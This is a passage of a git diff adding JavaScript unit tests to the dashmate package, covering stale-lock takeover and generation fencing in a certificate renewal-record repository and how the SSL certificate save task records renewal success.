created').to.be.true(); + }); + + // Without an owner, a holder whose lock was broken as stale still releases + // on its way out - deleting whatever lock is there by then, which is the + // next holder's. Two processes then believe they hold the same fence. + // + // Exercised through the release itself: the lock is taken over while the + // operation is still running, so the original holder reaches its release + // with someone else's lock in place. + it('should not release a lock taken over while it was working', () => { + const realRmSync = fs.rmSync; + let takenOver = false; + + fs.rmSync = (target, ...rest) => { + // Mid-operation: the holder is past acquiring and into its work. The + // record write goes through a file descriptor, so the removal path is + // the one place a real path is visible from outside. + if (!takenOver && String(target).endsWith('renewal.json')) { + takenOver = true; + fs.writeFileSync(lockPath(), 'another-process'); + } + + return realRmSync(target, ...rest); + }; + + try { + repository.remove('base'); + } finally { + fs.rmSync = realRmSync; + } + + expect(takenOver, 'the takeover happened').to.be.true(); + expect(fs.existsSync(lockPath()), "the new holder's lock survives").to.be.true(); + expect(fs.readFileSync(lockPath(), 'utf8')).to.equal('another-process'); + }); + + // Holding the lock when the work started says nothing about holding it when + // the write happens. A holder suspended past the stale threshold has its + // lock reclaimed, and another process may already have written newer state; + // resuming and overwriting that is the corruption the fence exists to stop. + it('should refuse to write once its lock has been taken over', () => { + repository.claimGeneration('base'); + + const realReadFileSync = fs.readFileSync; + const realWriteFileSync = fs.writeFileSync; + let takenOver = false; + + // Staged while the operation is under way but before it mutates: the + // generation is read first, and ownership is checked after that. + fs.readFileSync = (file, ...rest) => { + if (!takenOver && String(file).endsWith('.renewal-generation')) { + takenOver = true; + realWriteFileSync(lockPath(), 'another-process'); + } + + return realReadFileSync(file, ...rest); + }; + + let applied; + + try { + applied = repository.remove('base', 1); + } finally { + fs.readFileSync = realReadFileSync; + } + + expect(takenOver, 'the takeover happened').to.be.true(); + expect(applied, 'the superseded holder did not apply its change').to.be.false(); + }); + + // Reclamation is by age, not by asking whether the holder still exists. + // That question cannot be asked here: the helper holds this lock from + // inside a container that bind-mounts the same home directory, so its pids + // and the host CLI's come from different namespaces. + it('should eventually reclaim a lock nobody released', () => { + fs.mkdirSync(path.dirname(lockPath()), { recursive: true }); + fs.writeFileSync(lockPath(), 'a-holder-that-never-came-back'); + // Older than the stale threshold. + const old = new Date(Date.now() - 60 * 1000); + fs.utimesSync(lockPath(), old, old); + + expect(repository.claimGeneration('base')).to.equal(1); + }); + + // `claimGeneration` promises a number and its callers carry the result as + // one. Returning a sentinel meant a chain held `false` as its generation and + // every later write was fenced out by comparing against it - recording + // nothing, quietly, which is what the record exists to prevent. + it('should never hand back a generation that is not a number', () => { + const generations = [ + repository.claimGeneration('base'), + repository.claimGeneration('base'), + ]; + + generations.forEach((g) => expect(g).to.be.a('number')); + expect(generations).to.deep.equal([1, 2]); + }); + + it('should record who holds it', () => { + let held = null; + const realRmSync = fs.rmSync; + + fs.rmSync = (target, ...rest) => { + if (String(target).endsWith('.lock') && held === null) { + held = fs.readFileSync(target, 'utf8'); + } + + return realRmSync(target, ...rest); + }; + + try { + repository.claimGeneration('base'); + } finally { + fs.rmSync = realRmSync; + } + + expect(held, 'the lock names its holder').to.match(/^\d+\./); + }); + }); +}); diff --git a/packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js b/packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js index d5201358e8c..36302014ad0 100644 --- a/packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js +++ b/packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js @@ -4,8 +4,11 @@ import HomeDir from '../../../src/config/HomeDir.js'; import getBaseConfigFactory from '../../../configs/defaults/getBaseConfigFactory.js'; import saveCertificateTaskFactory from '../../../src/listr/tasks/ssl/saveCertificateTask.js'; import { issueCertificate } from '../../../src/test/certificateFixtures.js'; +import RenewalRecordRepository from '../../../src/ssl/renewalRecord/RenewalRecordRepository.js'; +import { recordRenewalSuccess } from '../../../src/helper/record-renewal-outcome.js'; describe('saveCertificateTaskFactory', () => { + let renewalRecordRepository; let homeDir; let config; let certificatesDir; @@ -28,6 +31,7 @@ describe('saveCertificateTaskFactory', () => { ); certificatePath = path.join(certificatesDir, 'bundle.crt'); keyPath = path.join(certificatesDir, 'private.key'); + renewalRecordRepository = new RenewalRecordRepository(homeDir); }); afterEach(() => { @@ -36,7 +40,7 @@ describe('saveCertificateTaskFactory', () => { }); async function savePair(context = {}) { - const task = saveCertificateTaskFactory(homeDir)(config); + const task = saveCertificateTaskFactory(homeDir, renewalRecordRepository)(config); await task.run({ certificateFile: pair.pem, @@ -72,6 +76,42 @@ describe('saveCertificateTaskFactory', () => { expect(fs.readFileSync(keyPath, 'utf8')).to.equal(pair.keyPem); }); + it('should not fence a renewal out of recording the success it just achieved', async () => { + // This install runs inside the renewal that produced the certificate, and + // it clears the record. Taking a new generation here locked that renewal + // out of its own success write afterwards, so a node that had just renewed + // perfectly reported nothing at all. + const generation = renewalRecordRepository.claimGeneration(config.getName()); + + await savePair({ renewalGeneration: generation }); + + recordRenewalSuccess({ + renewalRecordRepository, + configName: config.getName(), + provider: 'letsencrypt', + generation, + }); + + expect(renewalRecordRepository.read(config.getName()).record).to.not.equal(null); + }); + + it('should outrank an attempt still in flight when run by hand', async () => { + // No chain of its own: the operator is acting now, so a renewal started + // before this must not be able to resurrect the failure it just settled. + const inFlight = renewalRecordRepository.claimGeneration(config.getName()); + + await savePair(); + + recordRenewalSuccess({ + renewalRecordRepository, + configName: config.getName(), + provider: 'letsencrypt', + generation: inFlight, + }); + + expect(renewalRecordRepository.read(config.getName()).record).to.equal(null); + }); + it('should create a private key with mode 0600', async () => { await savePair(); diff --git a/packages/dashmate/test/unit/status/scopes/platform.spec.js b/packages/dashmate/test/unit/status/scopes/platform.spec.js index 14f0d88cffe..dce124c607a 100644 --- a/packages/dashmate/test/unit/status/scopes/platform.spec.js +++ b/packages/dashmate/test/unit/status/scopes/platform.spec.js @@ -44,7 +44,7 @@ describe('getPlatformScopeFactory', () => { mockCreateRpcClient = () => mockRpcClient; mockDetermineDockerStatus = this.sinon.stub(determineStatus, 'docker'); mockMNOWatchProvider = this.sinon.stub(providers.mnowatch, 'checkPortStatus'); - // eslint-disable-next-line + mockFetch = this.sinon.stub(globalThis, 'fetch'); mockGetConnectionHost = this.sinon.stub();